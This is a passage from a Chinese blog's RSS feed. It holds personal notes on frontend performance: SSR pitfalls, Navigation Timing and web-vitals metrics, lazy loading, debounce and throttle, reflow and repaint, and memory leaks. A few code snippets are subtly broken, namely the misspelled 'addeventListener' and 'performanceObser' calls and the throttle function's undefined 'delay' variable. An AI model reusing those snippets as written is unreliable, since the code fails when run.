<li>有没有在SSR可能执行的代码中使用server没有而client端存在的api</li>
<li>第三方库是否需要在server端重新配置</li>
</ol>
</li>
<li>服务端的开发</li>
<li>更多的服务端负载</li>
</ul>
<hr>
<h2 id="为什么会难开发">为什么会难开发</h2>
<ul>
<li>执行环境不同
<ul>
<li>BOM(window…), DOM(document…), Ajax(XMLHttp​Request, fetch…), Web Workers…等属于浏览器环境的对象在node server环境下并不work</li>
</ul>
</li>
<li>“执行上下文”不同</li>
</ul>
<hr>
<h2 id="做了ssr但首屏渲染时间还是很长">做了ssr，但首屏渲染时间还是很长</h2>
<ol>
<li>有没有做Time to the First Byte，如果渲染该页面依赖后端耗时的计算和请求时间，那么可以考虑使用Streaming Server-Side Rendering</li>
<li>有没有阻塞性请求、有没有重定向请求</li>
<li>服务有没有靠近用户，由于SSR需要动态服务，不能CDN部署，可能在一些国家或地区的政策影响下，服务只能部署在A地，但用户却在B地</li>
</ol>
<hr>
<h2 id="优化方案">优化方案</h2>
<ol>
<li>Streaming SSR（流式渲染）：
<ul>
<li>通过流式传输内容来加速首屏渲染，服务器生成的 HTML 可以一部分一部分地传输给客户端，缩短等待时间。</li>
<li>React 18 中引入了 Suspense 和 React.lazy() 支持流式渲染。</li>
</ul>
</li>
<li>Partial Hydration（部分水合）：
<ul>
<li>不是一次性水合整个页面，而是逐步水合页面上的不同组件，减少初始 JavaScript 体积，加快交互速度。</li>
</ul>
</li>
<li>预渲染与动态渲染结合：
<ul>
<li>可以为某些页面提前生成静态 HTML 文件（SSG），而为需要实时数据的页面使用 SSR。</li>
</ul>
</li>
</ol>
<hr>
<h2 id="参考">参考</h2>
<ul>
<li><a href="https://chi.miantiao.me/posts/vite-ssr-docker-image-minimal-build/"  target="_blank" rel="noopener" >Vite SSR 项目 Docker 镜像最小化打包方案 | 面条实验室</a></li>
<li><a href="https://medium.com/@keshidong.dev/%E5%85%B3%E4%BA%8Espa%E7%9A%84seo%E4%BC%98%E5%8C%96%E6%96%B9%E6%A1%88-2639a63361ad"  target="_blank" rel="noopener" >关于SPA的SEO解决方案. 为什么SPA需要SEO优化 | by shidong ke | Medium</a></li>
</ul>
]]></content:encoded>
    </item>
    
    <item>
      <title>性能优化二三事</title>
      <link>https://ds63.eu.org/2024/points_of_performance_optimization/</link>
      <pubDate>Mon, 30 Sep 2024 23:34:14 +0800</pubDate>
      
      <guid>https://ds63.eu.org/2024/points_of_performance_optimization/</guid>
      <description>更快，更快，更快！</description>
      <content:encoded><![CDATA[<h2 id="windowperformance">window.performance</h2>
<h3 id="memory">memory</h3>
<ol>
<li>jsHeapSizeLimit (表示当前页面最多可以获得的 JavaScript 堆大小)</li>
<li>totalJSHeapSize (表示当前页面已经分配的 JavaScript 堆大小)</li>
<li>usedJSHeapSize (表示当前页面 JavaScript 已经使用的堆大小)</li>
</ol>
<h3 id="navigation">navigation</h3>
<ol>
<li>redirectCount，重定向的数量，经过多少次重定向进入这个页面</li>
<li>type，进入页面的方式
<ul>
<li>0，正常进入非刷新，非重定向</li>
<li>1，通过刷新的方式进入</li>
<li>2，通过前进回退按钮进入</li>
<li>255，非是上述情况</li>
</ul>
</li>
</ol>
<h3 id="performancenavigationtiming">PerformanceNavigationTiming</h3>
<ul>
<li>
  <img loading="lazy" src="https://mdn.github.io/shared-assets/images/diagrams/api/performance/timestamp-diagram.svg" alt="PerformanceNavigationTiming"  /></li>
<li>顺序
<ol>
<li>页面卸载部分
<ul>
<li>卸载：navigationStart、unloadEventStart、unloadEventEnd</li>
</ul>
</li>
<li>网络部分
<ul>
<li>跳转：redirectStart、redirectEnd</li>
<li>请求文档：fetchStart</li>
<li>DNS查询：domainLookupStart、domainLookupEnd</li>
<li>连接建立：connectStart、connectEnd</li>
<li>请求：requestStart、responseStart、responseEnd</li>
</ul>
</li>
<li>页面解析部分
<ul>
<li>解析dom：domLoading、domInteractive</li>
<li>资源加载，dom渲染：domContentLoadedEventStart、domContentLoadedEventEnd、domComplete</li>
</ul>
</li>
</ol>
</li>
</ul>
<h3 id="参考">参考</h3>
<ul>
<li><a href="https://developer.mozilla.org/en-US/docs/Web/API/PerformanceNavigationTiming"  target="_blank" rel="noopener" >PerformanceNavigationTiming - Web APIs | MDN</a></li>
<li><a href="https://juejin.cn/post/7223280402475089978"  target="_blank" rel="noopener" >来来来，前端性能监控，带你拿到正确的性能指标作为前端开发，我们有必要关注我们各个客户端的性能指标，比如白屏时间，最早可交 - 掘金</a></li>
</ul>
<hr>
<h2 id="指标">指标</h2>
<h3 id="首次内容绘制first-contentful-paint">首次内容绘制(First Contentful Paint)</h3>
<ul>
<li>定义
<ul>
<li>浏览器从响应用户输入网络地址，到浏览器呈现第一段 DOM 内容所需的时间</li>
<li>首屏时间 = 首屏内容渲染结束时间点 - 开始请求的时间点</li>
<li>performance.getEntries(&lsquo;paint&rsquo;).filter(entry =&gt; entry.name == &lsquo;first-contentful-paint&rsquo;)[0].startTime;</li>
</ul>
</li>
<li>优化
<ol>
<li>缩短距离: cdn</li>
<li>减少首次加载需要请求的内容
<ul>
<li>动态加载: 使用 import() 或 React.lazy() 在路由或组件级别进行模块拆分</li>
<li>懒加载: <code>intersectionObserver</code></li>
</ul>
</li>
</ol>
</li>
</ul>
<h3 id="最大内容渲染时间lcp-largest-contentful-paint">最大内容渲染时间(LCP Largest Contentful Paint)</h3>
<ul>
<li>定义
<ul>
<li>指代页面中最大的内容完成绘制的时间。</li>
</ul>
</li>
</ul>
<h3 id="ttfb">TTFB</h3>
<ul>
<li>定义
<ul>
<li>指代从资源的请求到响应第一个字节的时间跨度。</li>
<li>responseStart - navigationStart</li>
</ul>
</li>
<li>影响因素
<ul>
<li>重定向时延，DNS查询时延，链接建立延迟，请求响应时延</li>
</ul>
</li>
</ul>
<h3 id="可交互时间time-to-interactive">可交互时间(Time to Interactive)</h3>
<ul>
<li>定义
<ul>
<li>页面完全交互所需的时间</li>
</ul>
</li>
<li>优化
<ul>
<li>把长任务拆分为较小的任务（使用 requestAnimationFrame 或 requestIdleCallback），或者选择在主线程之外（如Web Workers）运行 JavaScript</li>
</ul>
</li>
</ul>
<h3 id="dcl-domcontentloaded">DCL (DOMContentLoaded)</h3>
<ul>
<li>定义
<ul>
<li>当HTML 文档被完全加载和解析完成之后，DOMContentLoaded 事件被触发，无需等待样式，图像和子框架的完成加载的时间。</li>
</ul>
</li>
<li>计算</li>
</ul>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-js" data-lang="js"><span class="line"><span class="cl"><span class="nb">document</span><span class="p">.</span><span class="nx">addeventListener</span><span class="p">(</span><span class="s1">&#39;DOMContentLoaded&#39;</span><span class="p">,</span> <span class="kd">function</span><span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="o">+</span><span class="k">new</span> <span class="nb">Date</span><span class="p">()</span> <span class="o">-</span> <span class="nb">window</span><span class="p">.</span><span class="nx">performanceObser</span><span class="p">.</span><span class="nx">timing</span><span class="p">.</span><span class="nx">navigationStart</span>
</span></span><span class="line"><span class="cl"><span class="p">},</span> <span class="kc">false</span><span class="p">);</span>
</span></span></code></pre></div><h3 id="total-blocking-time">(Total Blocking Time)</h3>
<h3 id="cumulative-layout-shift">(Cumulative Layout Shift)</h3>
<h3 id="白屏时间">白屏时间</h3>
<ul>
<li>从用户开始请求页面时开始计算到开始显示内容结束，中间过程包括DNS查询、建立TCP链接、发送首个HTTP请求、返回HTML文档、HTML文档head解析完毕。</li>
<li>计算:
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-html" data-lang="html"><span class="line"><span class="cl"><span class="cp">&lt;!DOCTYPE html&gt;</span>
</span></span><span class="line"><span class="cl"><span class="p">&lt;</span><span class="nt">html</span> <span class="na">lang</span><span class="o">=</span><span class="s">&#34;en&#34;</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl"><span class="p">&lt;</span><span class="nt">head</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">  <span class="p">&lt;</span><span class="nt">meta</span> <span class="na">charset</span><span class="o">=</span><span class="s">&#34;UTF-8&#34;</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">  <span class="p">&lt;</span><span class="nt">meta</span> <span class="na">name</span><span class="o">=</span><span class="s">&#34;viewport&#34;</span> <span class="na">content</span><span class="o">=</span><span class="s">&#34;width=device-width, initial-scale=1.0&#34;</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">  <span class="p">&lt;</span><span class="nt">title</span><span class="p">&gt;</span>白屏时间计算-常规方法<span class="p">&lt;/</span><span class="nt">title</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">  <span class="p">&lt;</span><span class="nt">script</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">    <span class="nb">window</span><span class="p">.</span><span class="nx">pageStartTime</span> <span class="o">=</span> <span class="nb">Date</span><span class="p">.</span><span class="nx">now</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">  <span class="p">&lt;/</span><span class="nt">script</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">  <span class="p">&lt;</span><span class="nt">link</span> <span class="na">rel</span><span class="o">=</span><span class="s">&#34;stylesheet&#34;</span> <span class="na">href</span><span class="o">=</span><span class="s">&#34;https://p1-jj.byteimg.com/tos-cn-i-t2oaga2asx/gold-assets/ionicons/2.0.1/css/ionicons.min.css~tplv-t2oaga2asx-image.image&#34;</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">  <span class="p">&lt;</span><span class="nt">link</span> <span class="na">rel</span><span class="o">=</span><span class="s">&#34;stylesheet&#34;</span> <span class="na">href</span><span class="o">=</span><span class="s">&#34;https://p1-jj.byteimg.com/tos-cn-i-t2oaga2asx/gold-assets/asset/fw-icon/1.0.9/iconfont.css~tplv-t2oaga2asx-image.image&#34;</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">  <span class="p">&lt;</span><span class="nt">script</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">    <span class="nb">window</span><span class="p">.</span><span class="nx">firstPaint</span> <span class="o">=</span> <span class="nb">Date</span><span class="p">.</span><span class="nx">now</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">    <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="sb">`白屏时间：</span><span class="si">${</span><span class="nb">window</span><span class="p">.</span><span class="nx">firstPaint</span> <span class="o">-</span> <span class="nb">window</span><span class="p">.</span><span class="nx">pageStartTime</span><span class="si">}</span><span class="sb">`</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">  <span class="p">&lt;/</span><span class="nt">script</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl"><span class="p">&lt;/</span><span class="nt">head</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl"><span class="p">&lt;</span><span class="nt">body</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">  <span class="p">&lt;</span><span class="nt">div</span><span class="p">&gt;</span>这是常规计算白屏时间的示例页面<span class="p">&lt;/</span><span class="nt">div</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl"><span class="p">&lt;/</span><span class="nt">body</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl"><span class="p">&lt;/</span><span class="nt">html</span><span class="p">&gt;</span>
</span></span></code></pre></div></li>
<li>白屏时间 = window.firstPaint - window.pageStartTime</li>
</ul>
<h3 id="参考-1">参考</h3>
<ul>
<li><a href="https://juejin.cn/post/7113803250037424158"  target="_blank" rel="noopener" >看懂 Lighthouse 中 Performance 核心指标简介 </a></li>
<li><a href="https://juejin.cn/post/6916527678807867400"  target="_blank" rel="noopener" >前端性能指标：白屏和首屏时间的计算 - 掘金</a></li>
<li><a href="https://web.dev/articles/defining-core-web-vitals-thresholds?hl=en"  target="_blank" rel="noopener" >How the Core Web Vitals metrics thresholds were defined  |  Articles  |  web.dev</a></li>
</ul>
<hr>
<h2 id="首屏优化">首屏优化</h2>
<ul>
<li>参考
<ul>
<li><a href="https://mp.weixin.qq.com/s?__biz=Mzk0OTUwMzI0MQ==&amp;mid=2247484027&amp;idx=1&amp;sn=b5511e51f68617032f8d87ee7b4dd38e&amp;chksm=c356161df4219f0bb6666b7188cb02c0421bbfaeff6b6195fbc94fa996fb5affbfc8eea886d8"  target="_blank" rel="noopener" >[前端进阶] 首屏优化知识梳理</a></li>
<li><a href="https://juejin.cn/post/7337631207025639463"  target="_blank" rel="noopener" >首屏加载时间优化的几种解决方案🙋🏿🙋🏿🙋🏿 - 掘金</a></li>
<li><a href="https://alienzhou.github.io/fe-performance-journey/5-subresources/image.html#_1-%E4%BC%98%E5%8C%96%E8%AF%B7%E6%B1%82%E6%95%B0"  target="_blank" rel="noopener" >图片 | 前端性能优化</a></li>
</ul>
</li>
</ul>
<hr>
<h2 id="滚屏性能优化">滚屏性能优化</h2>
<ul>
<li>将<code>touchstart</code>和<code>touchmove</code>事件的<code>passive</code>选项设置为ture
<ul>
<li>原理: <code>touchstart</code>和<code>touchmove</code>是<code>cancelable</code>的。事件处理程序中可能会调用<code>preventDefault()</code>，所以需要等待事件处理程序结束再滚动。</li>
<li>注: 大部分浏览器（Safari 和 Internet Explorer 除外）将文档级节点 Window、Document 和 Document.body 上的 wheel、mousewheel、touchstart 和 touchmove 事件的 passive 默认值更改为 true。</li>
</ul>
</li>
<li>参考:
<ul>
<li><a href="https://www.cnblogs.com/mengfangui/p/11322590.html"  target="_blank" rel="noopener" >滚动事件优化 passive - 孟繁贵 - 博客园</a></li>
</ul>
</li>
</ul>
<hr>
<h2 id="react性能优化">React性能优化</h2>
<ol>
<li>map循环展示添加key</li>
<li>路由懒加载</li>
<li>第三方依赖按需引入</li>
<li>使用memo或者pureComponent避免不必要的渲染</li>
<li>合理使用useMemo、memo、useCallback</li>
</ol>
<h3 id="参考-2">参考</h3>
<ul>
<li><a href="https://juejin.cn/post/6935584878071119885"  target="_blank" rel="noopener" >React 性能优化 | 包括原理、技巧、Demo、工具使用⁣React 的工作流 - 掘金</a></li>
<li><a href="https://blogweb.cn/article/2213713866013#heading-48"  target="_blank" rel="noopener" >当面试官问我前端可以做的性能优化有哪些-网络日志</a></li>
<li><a href="https://weekly.shanyue.tech/week-32/"  target="_blank" rel="noopener" >React 应用中的性能优化 | 前端开发者技术周刊</a></li>
<li><a href="https://fe.azhubaby.com/React/%E6%80%A7%E8%83%BD%E4%BC%98%E5%8C%96.html"  target="_blank" rel="noopener" >React 性能优化 | 五年前端三年面试</a></li>
<li><a href="https://mp.weixin.qq.com/s/hJrOViqtEpWc2g1rwMAxwg"  target="_blank" rel="noopener" >React 性能优化十大总结</a></li>
</ul>
<hr>
<h2 id="懒加载与按需加载">懒加载与按需加载</h2>
<h3 id="懒加载">懒加载</h3>
<ul>
<li>概念: 可以按照路由对产物进行分割</li>
<li>实现
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-js" data-lang="js"><span class="line"><span class="cl"><span class="kr">import</span> <span class="p">{</span> <span class="nx">lazy</span> <span class="p">}</span> <span class="nx">from</span> <span class="s1">&#39;react&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kr">const</span> <span class="nx">MarkdownPreview</span> <span class="o">=</span> <span class="nx">lazy</span><span class="p">(()</span> <span class="p">=&gt;</span> <span class="kr">import</span><span class="p">(</span><span class="s1">&#39;./MarkdownPreview.js&#39;</span><span class="p">));</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="o">&lt;</span><span class="nx">Suspense</span> <span class="nx">fallback</span><span class="o">=</span><span class="p">{</span><span class="o">&lt;</span><span class="nx">Loading</span> <span class="o">/&gt;</span><span class="p">}</span><span class="o">&gt;</span>
</span></span><span class="line"><span class="cl">  <span class="o">&lt;</span><span class="nx">h2</span><span class="o">&gt;</span><span class="nx">Preview</span><span class="o">&lt;</span><span class="err">/h2&gt;</span>
</span></span><span class="line"><span class="cl">  <span class="o">&lt;</span><span class="nx">MarkdownPreview</span> <span class="o">/&gt;</span>
</span></span><span class="line"><span class="cl"><span class="o">&lt;</span><span class="err">/Suspense&gt;</span>
</span></span></code></pre></div></li>
<li>代码二次分割:
<ul>
<li>可以将那些在非首页才用到的依赖是不是可以单独分割为一个chunk，这样的话可以进一步减少<code>index-[hash].js</code>的体积</li>
<li>需要配合路由懒加载才能达到效果，否则即使代码进行了分割，但加载首屏还是会因为路由提前注册的原因，使得浏览器加载所有资源。</li>
</ul>
</li>
<li>缺点:
<ul>
<li>优化也有成本，比如文本中虽然通过代码分割+路由懒加载减少了首屏资源体积，但随之也带来了资源请求数增加的问题，对浏览器的并发请求带来了压力。</li>
</ul>
</li>
</ul>
<h3 id="按需加载">按需加载</h3>
<ul>
<li>按需加载是为了减少依赖产物体积过大的问题，典型的如 lodash、echarts、arco-design，整个包存在很多方法、组件，而在项目实际使用到的其实只有一部分。在构建时进行按需加载，可以有效减小最终产物体积。</li>
<li>示例:
<ul>
<li><a href="https://github.com/mattiasw/ExifReader?tab=readme-ov-file#configure-a-custom-build"  target="_blank" rel="noopener" >mattiasw/ExifReader: A JavaScript Exif info parser.</a>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-json" data-lang="json"><span class="line"><span class="cl">  <span class="s2">&#34;exifreader&#34;</span><span class="err">:</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;include&#34;</span><span class="p">:</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">      <span class="nt">&#34;webp&#34;</span><span class="p">:</span> <span class="kc">true</span>
</span></span><span class="line"><span class="cl">    <span class="p">},</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;exclude&#34;</span><span class="p">:</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">      <span class="nt">&#34;xmp&#34;</span><span class="p">:</span> <span class="kc">true</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span></code></pre></div></li>
</ul>
</li>
</ul>
<h3 id="参考-3">参考</h3>
<ul>
<li><a href="https://juejin.cn/post/7268183236738793513"  target="_blank" rel="noopener" >React+Vite技术栈下首屏资源优化前言 最近小组做的H5应用需要通过iframe嵌入到第三方站点里，为了提高首屏速 - 掘金</a></li>
<li><a href="https://zh-hans.react.dev/reference/react/lazy"  target="_blank" rel="noopener" >lazy – React 中文文档</a></li>
</ul>
<hr>
<h2 id="虚拟滚动">虚拟滚动</h2>
<h3 id="定义">定义</h3>
<ul>
<li>浏览器视口固定，内容响应用户鼠标滚动</li>
</ul>
<h3 id="使用场景">使用场景</h3>
<ul>
<li>炫酷的滚动交互</li>
<li>无限循环列表滚动</li>
<li>关注控制滚动体验（灵敏度、惯性等）</li>
</ul>
<h3 id="如何优化解决虚拟滚动中滚速过快情况下的白屏问题">如何优化解决虚拟滚动中滚速过快情况下的白屏问题</h3>
<p>wip</p>
<h3 id="参考-4">参考</h3>
<ul>
<li><a href="https://kind-armchair-5a5.notion.site/2689c93449674729973f2e835766d294"  target="_blank" rel="noopener" >虚拟滚动</a></li>
<li><a href="https://juejin.cn/post/6844904183582162957"  target="_blank" rel="noopener" >新手也能看懂的虚拟滚动实现 - 掘金</a></li>
</ul>
<hr>
<h2 id="防抖和节流">防抖和节流</h2>
<h3 id="防抖">防抖</h3>
<ul>
<li>在触发频率高的事件中,执行耗费性能的操作,连续操作后只有最后一次生效
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="c1">//自己实现debounce
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="kd">function</span> <span class="nx">debounce</span><span class="p">(</span><span class="nx">func</span><span class="p">,</span><span class="nx">wait</span><span class="o">=</span><span class="mi">0</span><span class="p">){</span>
</span></span><span class="line"><span class="cl">  <span class="kd">let</span> <span class="nx">timeId</span> <span class="o">=</span> <span class="kc">null</span><span class="p">;</span> <span class="c1">//为什么不在内部声明id?因为我如果在内部声明,每一次触发事件就会有一个新的变量产生
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="k">return</span> <span class="kd">function</span><span class="p">(...</span><span class="nx">args</span><span class="p">){</span>
</span></span><span class="line"><span class="cl">    <span class="kr">const</span> <span class="nx">self</span><span class="o">=</span><span class="k">this</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span><span class="p">(</span><span class="nx">timeId</span><span class="p">){</span>
</span></span><span class="line"><span class="cl">      <span class="nx">clearTimeout</span><span class="p">(</span><span class="nx">timeId</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="nx">timeId</span><span class="o">=</span><span class="nx">setTimeout</span><span class="p">(()=&gt;{</span>
</span></span><span class="line"><span class="cl">      <span class="nx">func</span><span class="p">.</span><span class="nx">apply</span><span class="p">(</span><span class="nx">self</span><span class="p">,</span><span class="nx">args</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="p">},</span><span class="nx">wait</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">  <span class="p">};</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div></li>
</ul>
<h3 id="节流">节流</h3>
<ul>
<li>在触发频率高的事件中,执行耗费性能操作,连续触发,单位时间内只有一次生效
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="kd">function</span> <span class="nx">throttle</span><span class="p">(</span><span class="nx">func</span><span class="p">,</span><span class="nx">wait</span><span class="o">=</span><span class="mi">0</span><span class="p">){</span>
</span></span><span class="line"><span class="cl">  <span class="kd">let</span> <span class="nx">timeId</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="kd">function</span><span class="p">(...</span><span class="nx">args</span><span class="p">){</span>
</span></span><span class="line"><span class="cl">    <span class="kr">const</span> <span class="nx">self</span><span class="o">=</span><span class="k">this</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="nx">timeId</span><span class="p">){</span>
</span></span><span class="line"><span class="cl">      <span class="nx">func</span><span class="p">.</span><span class="nx">apply</span><span class="p">(</span><span class="nx">self</span><span class="p">,</span><span class="nx">args</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">      <span class="nx">timeId</span> <span class="o">=</span> <span class="nx">setTimeout</span><span class="p">(()=&gt;{</span>
</span></span><span class="line"><span class="cl">        <span class="nx">timeId</span> <span class="o">=</span> <span class="kc">undefined</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">      <span class="p">},</span><span class="nx">delay</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">  <span class="p">};</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div></li>
</ul>
<h3 id="参考-5">参考</h3>
<ul>
<li><a href="https://kettanaito.com/blog/debounce-vs-throttle"  target="_blank" rel="noopener" >Debounce vs Throttle: Definitive Visual Guide - kettanaito.com</a></li>
<li><a href="https://www.npmjs.com/package/throttle-debounce?activeTab=code"  target="_blank" rel="noopener" >throttle-debounce - npm</a></li>
</ul>
<hr>
<h2 id="回流与重绘">回流与重绘</h2>
<h3 id="浏览器渲染过程">浏览器渲染过程</h3>
<ol>
<li>解析 HTML 和样式计算 (parsing and style calculation)</li>
<li>布局 (Layout)</li>
<li>绘制 (paint)</li>
<li>合成 (compositing)</li>
</ol>
<h3 id="回流">回流</h3>
<ul>
<li>reflow</li>
<li>网页渲染引擎根据元素的<strong>尺寸、位置和显示属性</strong>来重新计算页面的排版和布局，是网页渲染过程中的一个重要步骤。</li>
<li>当一个元素的长与宽改变，可能会影响到画面中其他元素的编排，所以每当有一个元素的布局改变，浏览器的 CPU 需要重新计算整个页面中不同元素的长宽、间距等。在计算的期间，会没办法处理其他任务 (例如使用者在点击按钮，可能会要等一阵子才有回应，因为浏览器无暇处理)。</li>
</ul>
<h3 id="重绘">重绘</h3>
<ul>
<li>repaint</li>
<li>指网页渲染引擎根据<strong>显示属性</strong> (如颜色、文字大小等) 重新绘制页面元素，不影响元素的位置和尺寸</li>
<li>不会影响页面布局，但是也会影响页面的性能</li>
</ul>
<h2 id="减少回流和重绘">减少回流和重绘</h2>
<ol>
<li>移动调整元素时，使用<code>transform</code></li>
<li>使用<code>opacity</code>来改变元素的能见度</li>
<li>避免频繁用 JavaScript 操作 DOM 节点</li>
</ol>
<h3 id="参考-6">参考</h3>
<ul>
<li><a href="https://www.explainthis.io/zh-hans/swe/repaint-and-reflow"  target="_blank" rel="noopener" >回流 (Reflow) 和重绘 (Repaint) 是什么？以及如何优化？｜ExplainThis</a></li>
</ul>
<hr>
<h2 id="内存泄漏">内存泄漏</h2>
<h3 id="定义-1">定义</h3>
<ul>
<li>内存泄漏可以定义为程序不再使用或不需要的一块内存，但是由于某种原因没有被释放仍然被不必要的占有。</li>
</ul>
<h3 id="垃圾回收算法">垃圾回收算法</h3>
<ul>
<li>引用计数: 如果没有引用指向该对象（零引用），对象将被垃圾回收机制回收。
<ul>
<li>缺点: 循环引用</li>
</ul>
</li>
<li>标记清除
<ul>
<li>过程
<ol>
<li>垃圾回收器创建了一个“roots”列表。Roots通常是代码中全局变量的引用。JavaScript中，“window”对象是一个全局变量，被当作root。window对象总是存在，因此垃圾回收器可以检查它和它的所有子对象是否存在（即不是垃圾）；</li>
<li>所有的 roots被检查和标记为激活（即不是垃圾）。所有的子对象也被递归地检查。从root开始的所有对象如果是可达的，它就不被当作垃圾。</li>
<li>所有未被标记的内存会被当做垃圾，收集器现在可以释放内存，归还给操作系统了。</li>
</ol>
</li>
<li>缺点: 算法运行时程序执行被暂停。</li>
</ul>
</li>
</ul>
<h3 id="常见的内存泄漏">常见的内存泄漏</h3>
<ol>
<li>全局变量</li>
<li>被遗忘的定时器和回调函数</li>
<li>DOM引用</li>
<li>错误使用的闭包</li>
</ol>
<h3 id="排查">排查</h3>
<ul>
<li>启用<code>use strict</code></li>
<li>浏览器开发者工具，内存选项</li>
</ul>
<h3 id="参考-7">参考</h3>
<ul>
<li><a href="https://juejin.cn/post/6844903917986267143"  target="_blank" rel="noopener" >彻底掌握js内存泄漏以及如何避免前言：内存泄漏写任何语言都必须得注意的问题，我司技术老大日常吐槽:以前做游戏的改内存泄漏 - 掘金</a></li>
<li><a href="https://github.com/pro-collection/interview-question/issues/76"  target="_blank" rel="noopener" >JS 内存泄露问题该如何排查？ · Issue #76 · pro-collection/interview-question</a></li>
<li><a href="https://czkm.github.io/2022/06/13/JS%E7%9A%84%E5%9E%83%E5%9C%BE%E5%9B%9E%E6%94%B6%E4%B8%8E%E5%86%85%E5%AD%98%E6%B3%84%E6%BC%8F/"  target="_blank" rel="noopener" >JS的垃圾回收与内存泄漏 - 橙汁坤的博客 | czkm Blog</a></li>
</ul>
<h2 id="前端监控系统">前端监控系统</h2>
<p>wip</p>
<h3 id="白屏检测">白屏检测</h3>
<ul>
<li><a href="https://juejin.cn/post/7176206226903007292"  target="_blank" rel="noopener" >前端白屏的检测方案，让你知道自己的页面白了页面白屏，绝对是让前端开发者最为胆寒的事情，特别是随着 SPA 项目的盛行，前 - 掘金</a></li>
</ul>
<h3 id="参考-8">参考</h3>
<ul>
<li><a href="https://cloud.tencent.com/developer/article/1983779"  target="_blank" rel="noopener" >目前为止整理最全的前端监控体系搭建篇(长文预警)-腾讯云开发者社区-腾讯云</a></li>
<li><a href="https://sentry.io/welcome/"  target="_blank" rel="noopener" >Application Performance Monitoring &amp; Error Tracking Software | Sentry</a></li>
<li><a href="https://godbasin.github.io/2024/01/21/front-end-performance-no-response-solution/"  target="_blank" rel="noopener" >前端性能优化&ndash;卡顿的监控和定位 | Here. There.</a></li>
<li><a href="https://juejin.cn/post/7247770501324996664"  target="_blank" rel="noopener" >不可不知的前端工程化—— 埋点&amp;监控 - 掘金</a></li>
</ul>
<hr>
<h2 id="场景题">场景题</h2>
<h3 id="线上的某个页面加载慢如何优化">线上的某个页面加载慢，如何优化</h3>
<p>wip</p>
<h3 id="场景题-针对大批量的数据的优化">场景题: 针对大批量的数据的优化</h3>
<ul>
<li>问题: 如果data数据很大，可能导致内存溢出和Minor GC阻塞渲染进程的问题。垃圾回收过程会占用主线程资源，导致渲染进程被阻塞。</li>
<li>思想:
<ul>
<li>将数据分成多个较小的批次进行处理，而不是一次性处理整个数据集。这可以通过使用<code>setTimeout</code>或 <code>requestAnimationFrame</code>来分批处理数据。循环处理每个批次的数据，并在处理完一个批次后延迟一小段时间处理下一个批次.比如可以将数据分成每批100条，每批处理完后延迟10毫秒，以避免阻塞主线程。</li>
<li>processBatch函数用于处理一批数据。它会根据当前的currentIndex从keys数组中选择一批数据进行处理，并将结果存入arr数组。然后，currentIndex增加，检查是否还有剩余数据需要处理。如果还有剩余数据，则通过requestAnimationFrame调度下一个异步任务来处理下一批数据。如果所有数据处理完成，则进行后续操作。</li>
<li>使用递归调用和requestAnimationFrame可以确保数据处理过程在异步任务中进行,在每一帧中调用 processBatch 函数，给渲染进程更多的时间进行渲染</li>
<li>一旦处理完所有数据，调用 finishProcessing 函数,并进行视图更新</li>
</ul>
</li>
<li>代码:</li>
</ul>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="nx">processTreeData</span><span class="p">(</span><span class="nx">data</span><span class="p">)</span> <span class="p">{</span>
